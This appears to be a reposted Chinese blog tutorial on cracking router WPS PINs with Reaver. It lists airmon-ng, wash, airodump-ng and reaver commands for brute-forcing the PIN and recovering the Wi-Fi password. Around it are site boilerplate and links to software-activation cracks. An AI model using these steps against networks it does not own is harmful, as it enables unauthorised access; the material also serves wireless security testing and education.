Reaver无线破解工具——穷举PIN码破解简析

Reaver无线破解工具——穷举PIN码破解简析部分老版路由器有WPS或叫QSS功能,并且在默认开启状态时,可使用此工具。PIN码共为8位,按431分段,总共穷举有11000种组合。通过获取到PIN码,并记住Bssid和PIN,后期可以通过一条命令爆出无线密码。容易碰到的问题:连接超时,卡住,路由自保护等。reave的进度表文件保存在/usr/local/etc/reaver/MAC地址.wpc或/etc/reaver/MAC…

大家好,又见面了,我是你们的朋友全栈君。

部分老版路由器有WPS或叫QSS功能,并且在默认开启状态时,可使用此工具

PIN码共为8位,按4 3 1 分段,总共穷举有11000种组合。通过获取到PIN码,并记住Bssid和PIN,后期可以通过一条命令爆出无线密码。
容易碰到的问题:连接超时,卡住,路由自保护等。
reave的进度表文件保存在/usr/local/etc/reaver/MAC地址.wpc 或/etc/reaver/MAC地址.wpc

基本用法:
1、ifconfig                                  //查看网络配置信息,网卡的模式和名称:常见为wlan0
2、airmon-ng start wlan0          //开启监听模式,此时网卡名变为 wlan0mon
3、wash -i wlan0mon               //利用wash,查看开启WPS的无线路由器
4、airodump-ng wlan0mon      //查看周边AP信息
5、reaver -i wlan0mon -b <Bssid> -vv       //开始穷举PIN码

// -i:网卡名称;-b:Bssid即路由ID;-vv:显示更多的非严重警告
// -p:pin码;-S :使用最小的DH key,可提高破解速度;
//另外,也可以给命令增加2个参数,延长PIN穷举和反馈的响应时间避免路由当机。

-d 即delay每穷举一次的闲置时间预设为1秒;-t 即timeout每次穷举等待反馈的最长时间

6、[reaver -i wlan0mon -b <Bssid> -vv -p xxxx]  //从前4位PIN码开始
7、知道PIN码以后使用如下命令反算出wifi连接密码
reaver -i wlan0mon -b <Bssid> ‘s MAC -p PIN码

此方法受信号强度和WPS保护机置等影响,尝试过几次,均信号在-70左右,均连接超时。
参考链接:https://zhuanlan.zhihu.com/p/24803690

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/137877.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • notifyDataSetChanged不生效「建议收藏」

    notifyDataSetChanged不生效「建议收藏」当ListView绑定数据适配器后,数据所对应的对象重新生成,就造成了listview所对应的数据对象不对,当数据改变时notifyDataSetChange则不能生效

  • 用HTML+CSS代码制作3D旋转相册

    用HTML+CSS代码制作3D旋转相册手打代码:&amp;lt;!DOCTYPEhtml&amp;gt;&amp;lt;html&amp;gt;&amp;lt;headlang=&quot;en&quot;&amp;gt;&amp;lt;metacharset=&quot;UTF-8&quot;&amp;gt;&amp;lt;title&amp;gt;3D旋转&amp;lt;/title&amp

  • java项目介绍_java项目介绍及创建[通俗易懂]

    java项目介绍_java项目介绍及创建[通俗易懂]大家配好环境,安装好编译器(eclipse)后,应该建立第一个项目“Helloword”一、在建立项目之前,来介绍一下项目的结构。1、class(类)项目中的最小单位,一个类中存放着相应的方法和量。2、package(包):存放类的空间。为了更好地组织类,Java提供了包机制。包是类的容器,用于分隔类名空间。如果没有指定包名,所有的示例都属于一个默认的无名包。3、folder(文件夹):存放包…

  • 2021phpstorm 激活吗破解方法

    2021phpstorm 激活吗破解方法,https://javaforall.cn/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

  • git命令–切换分支[通俗易懂]

    git命令–切换分支[通俗易懂]&gt;我们在日常开发中,有时需要从github或者gitee上拉取新项目,但是拉取的那个项目可能有很多分支,然后本地拉取后只有一个默认分支(一般是master)。甚至可能只有一个readme.md文件。。 &gt;如果我们想查看远程的其他分支该怎么办呢? **gitbranch**&gt;首先进入项目根目录(有个.git文件的那个目录),执行`gitbranch`命…

  • ffmpeg avformat_open_input返回失败,错误码-10049

    ffmpeg avformat_open_input返回失败,错误码-10049ffmpegavformat_open_input失败,返回错误码-10049,错误描述:Errornumber-10049occurred调试代码,找到如果设置了time_out参数,就会失败,不设置就没问题,具体原因还没有找到,备注此问题,以待后续继续分析源代码:av_register_all();avformat_network_init();AVFormatCo…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号